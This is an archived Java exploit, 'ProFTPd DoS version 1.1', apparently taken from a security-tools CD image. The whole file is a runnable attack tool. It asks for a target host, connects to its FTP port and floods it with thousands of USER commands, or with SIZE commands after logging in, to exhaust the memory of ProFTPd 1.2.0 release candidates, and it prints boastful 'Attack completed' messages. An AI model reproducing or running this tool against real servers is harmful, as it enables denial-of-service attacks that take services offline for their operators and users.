home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / proftpd / proftpDoS.java < prev    next >
Text File  |  2005-02-12  |  7KB  |  349 lines

  1. /*      ProFTPd DoS version 1.1
  2.  
  3.     Remote DoS in proFTPd
  4.  
  5.         
  6.  
  7.     Code by: JeT-Li         -The Wushu Master-      jet_li_man@yahoo.com
  8.  
  9.     
  10.  
  11.         Recently I posted a remote DoS for ProFTPd based in the multiple use
  12.  
  13.     of the SIZE command in order to crash the system. Now and thanks to
  14.  
  15.     the information provided by Wojciech Purczynski I have coded a
  16.  
  17.     program that not only use the SIZE command but also the USER command.
  18.  
  19.     So at this time access to the ftp is not necessary to manage a DoS
  20.  
  21.     attack. The concept is equal to the last exploit one, but using
  22.  
  23.     multiple USER instead of SIZE.   
  24.  
  25.      
  26.  
  27.     You don't have to give arguments when you execute the program, it
  28.  
  29.     will request you these.
  30.  
  31.                    
  32.  
  33.     Greets: _kiss_ (the real fucker ;-P); gordoc (no comment, the most
  34.  
  35.     hax man in the w0rld); Perip|o (tibetan mantras for u! ;-P); and all
  36.  
  37.     the ppl of #hackers (not able for cardiac XD).       
  38.  
  39.     
  40.  
  41.     Vulnerable systems: 
  42.  
  43.     ProFTPd 1.2.0rc1        (Tested)         
  44.  
  45.     ProFTPd 1.2.0rc2        (Tested)         
  46.  
  47.     And maybe others(1.2.0preX); I have no test this, but I'm sure you
  48.  
  49.     can do it for me ;-)    
  50.  
  51.     NOTE: 1.2.0pre10 is seems to be vulnerable according to the words of
  52.  
  53.     Wojciech Purczynski ... */
  54.  
  55.  
  56.  
  57. import java.net.*;
  58.  
  59. import java.io.*;
  60.  
  61.  
  62.  
  63. class TCPconnection {
  64.  
  65.     
  66.  
  67.     public TCPconnection (String hostname, int portnumber) throws Exception {
  68.  
  69.     Socket s = doaSocket(hostname, portnumber);
  70.  
  71.     br = new BufferedReader (new InputStreamReader (s.getInputStream()));
  72.  
  73.     ps = new PrintStream (s.getOutputStream());
  74.  
  75.     }
  76.  
  77.     
  78.  
  79.     public String readLine() throws Exception {
  80.  
  81.     String s;
  82.  
  83.     try {    s = br.readLine();    }
  84.  
  85.     catch (IOException ioe) {
  86.  
  87.     System.out.println("TCP Error ... it's a little hax0r exception ;-)");
  88.  
  89.     throw new Exception ("\nInput Error: I/O Error");
  90.  
  91.     }
  92.  
  93.     return s;
  94.  
  95.     }
  96.  
  97.     
  98.  
  99.     public void println(String s) {
  100.  
  101.     ps.println(s);
  102.  
  103.     }
  104.  
  105.     
  106.  
  107.     private Socket doaSocket(String hostname, int portnumber) throws Exception {
  108.  
  109.     Socket s = null;
  110.  
  111.     int attempts = 0;
  112.  
  113.     while (s == null && attempts<maxattempts) {
  114.  
  115.     try {    s = new Socket(hostname, portnumber);    }
  116.  
  117.     catch (UnknownHostException uhe) {
  118.  
  119.     System.err.println("It was no posible to establish the TCP connection.\n" + "Reason: unknown hostname " + hostname + ". Here is the Exception:");
  120.  
  121.     throw new Exception("\nConnection Error: " + "unknown hostname");
  122.  
  123.     }
  124.  
  125.     catch (IOException ioe) {
  126.  
  127.     System.err.println("The connection was not accomplished due to an I/O Error: trying it again ...");
  128.  
  129.     }
  130.  
  131.     attempts++;
  132.  
  133.     }
  134.  
  135.     if (s == null) throw new IOException("\nThe connection was not accomplished due to an I/O Error: trying it again ...");
  136.  
  137.     else return s; }
  138.  
  139.     private final int maxattempts = 5;
  140.  
  141.     private BufferedReader br;
  142.  
  143.     private PrintStream ps;
  144.  
  145.     
  146.  
  147.     }
  148.  
  149.     
  150.  
  151. class proftpDoS {
  152.  
  153.     
  154.  
  155.     public static void main(String[] arg) throws Exception {
  156.  
  157.     InputStreamReader isr;
  158.  
  159.     BufferedReader tcld;
  160.  
  161.     String hostnamez, username, password, file, s1, option, option1;
  162.  
  163.     int i, j, k, m;
  164.  
  165.     isr = new InputStreamReader(System.in);
  166.  
  167.     tcld = new BufferedReader(isr);
  168.  
  169.     System.out.println("ProFTPd DoS version 1.1 by JeT-Li -The Wushu Master-");
  170.  
  171.     System.out.println("Code in an attempt to solve Fermat Last's Theoreme");
  172.  
  173.     System.out.println("Please choose the type of attack you wanna use; insert only the NUMBER, i.e.: 1");
  174.  
  175.     System.out.println("1) Memory leakage using USER command");
  176.  
  177.     System.out.println("2) Memory leakage using SIZE command");
  178.  
  179.     System.out.print("Option: ");
  180.  
  181.     option = tcld.readLine();
  182.  
  183.     m = Integer.parseInt(option);
  184.  
  185.     while (!(m==1 || m==2)) {
  186.  
  187.     System.out.print("Option not valid, please try again: ");
  188.  
  189.     option = tcld.readLine();
  190.  
  191.     m = Integer.parseInt(option); }
  192.  
  193.     if (m==1) {
  194.  
  195.     hostnamez = "";    
  196.  
  197.     while (hostnamez.length()==0) {
  198.  
  199.     System.out.print("Please enter the hostname/IP: ");
  200.  
  201.     hostnamez = tcld.readLine(); }
  202.  
  203.     System.out.println("Choose one of this options; insert only the NUMBER, i.e.: 1");
  204.  
  205.     System.out.println("1) Request 15000 size's to the server (it may be enough)");
  206.  
  207.     System.out.println("2) \"No pain no gain\" (pseudo-eternal requests, ey it may be harm ;-P)");
  208.  
  209.     System.out.print("Option: ");
  210.  
  211.     option1 = tcld.readLine();
  212.  
  213.     k = Integer.parseInt(option1);
  214.  
  215.     while (!(k==1 || k==2)) {
  216.  
  217.     System.out.print("Option not valid, please try again: ");
  218.  
  219.     option1 = tcld.readLine();
  220.  
  221.     k = Integer.parseInt(option1); }
  222.  
  223.     TCPconnection tc = new TCPconnection(hostnamez, 21);
  224.  
  225.         if (k==1) {
  226.  
  227.     for(i=0;i<15000;i++)
  228.  
  229.     tc.println("user themosthax0ruserthatthisw0rldhaseverseen" + i); }
  230.  
  231.     else if (k==2) {
  232.  
  233.     for(i=1;i<100;i++)
  234.  
  235.     for(j=2;j<((int)Math.pow(j,i ));j++)
  236.  
  237.         tc.println("user themosthax0ruserthatthisw0rldhaseverseen" + j); }
  238.  
  239.     tc.println("quit");
  240.  
  241.     s1 = tc.readLine();
  242.  
  243.     while (s1!=null) {
  244.  
  245.     s1 = tc.readLine();
  246.  
  247.     System.out.println("Attack completed ... as one of my friends says:");
  248.  
  249.     System.out.println("Hack just r0cks ;-)");
  250.  
  251.     }
  252.  
  253.     }
  254.  
  255.     else if (m==2) {
  256.  
  257.     hostnamez = "";    
  258.  
  259.     while (hostnamez.length()==0) {
  260.  
  261.     System.out.print("Please enter the hostname/IP: ");
  262.  
  263.     hostnamez = tcld.readLine(); }
  264.  
  265.     username = "";
  266.  
  267.     while (username.length()==0) {
  268.  
  269.     System.out.print("Enter the username: ");
  270.  
  271.     username = tcld.readLine(); }
  272.  
  273.     password = "";
  274.  
  275.     while (password.length()==0) { 
  276.  
  277.     System.out.print("Enter the password for that username: ");
  278.  
  279.     password = tcld.readLine(); }
  280.  
  281.     file = "";
  282.  
  283.     while (file.length()==0) {
  284.  
  285.     System.out.print("Enter a valid filename on the FTP \n(with correct path of course ;-): ");
  286.  
  287.     file = tcld.readLine(); }
  288.  
  289.     System.out.println("Choose one of this options; insert only the NUMBER, i.e.: 1");
  290.  
  291.     System.out.println("1) Request 15000 size's to the server (it may be enough)");
  292.  
  293.     System.out.println("2) \"No pain no gain\" (pseudo-eternal requests, ey it may be harm ;-P)");
  294.  
  295.     System.out.print("Option: ");
  296.  
  297.     option1 = tcld.readLine();
  298.  
  299.     k = Integer.parseInt(option1);
  300.  
  301.     while (!(k==1 || k==2)) {
  302.  
  303.     System.out.print("Option not valid, please try again: ");
  304.  
  305.     option1 = tcld.readLine();
  306.  
  307.     k = Integer.parseInt(option1); }
  308.  
  309.     TCPconnection tc = new TCPconnection(hostnamez, 21);
  310.  
  311.     tc.println("user " + username);
  312.  
  313.     tc.println("pass " + password);
  314.  
  315.     if (k==1) {
  316.  
  317.     for(i=0;i<10000;i++)
  318.  
  319.     tc.println("size " + file); }
  320.  
  321.     else if (k==2) {
  322.  
  323.     for(i=1;i<100;i++)
  324.  
  325.     for(j=2;j<((int)Math.pow(j,i ));j++)
  326.  
  327.         tc.println("size " + file); }
  328.  
  329.     tc.println("quit");
  330.  
  331.     s1 = tc.readLine();
  332.  
  333.     while (s1!=null) {
  334.  
  335.     s1 = tc.readLine();
  336.  
  337.     System.out.println("Attack completed ... as one of my friends says:");
  338.  
  339.     System.out.println("Hack just r0cks ;-)");
  340.  
  341.     }
  342.  
  343.     }
  344.  
  345.     }
  346.  
  347. }
  348.  
  349.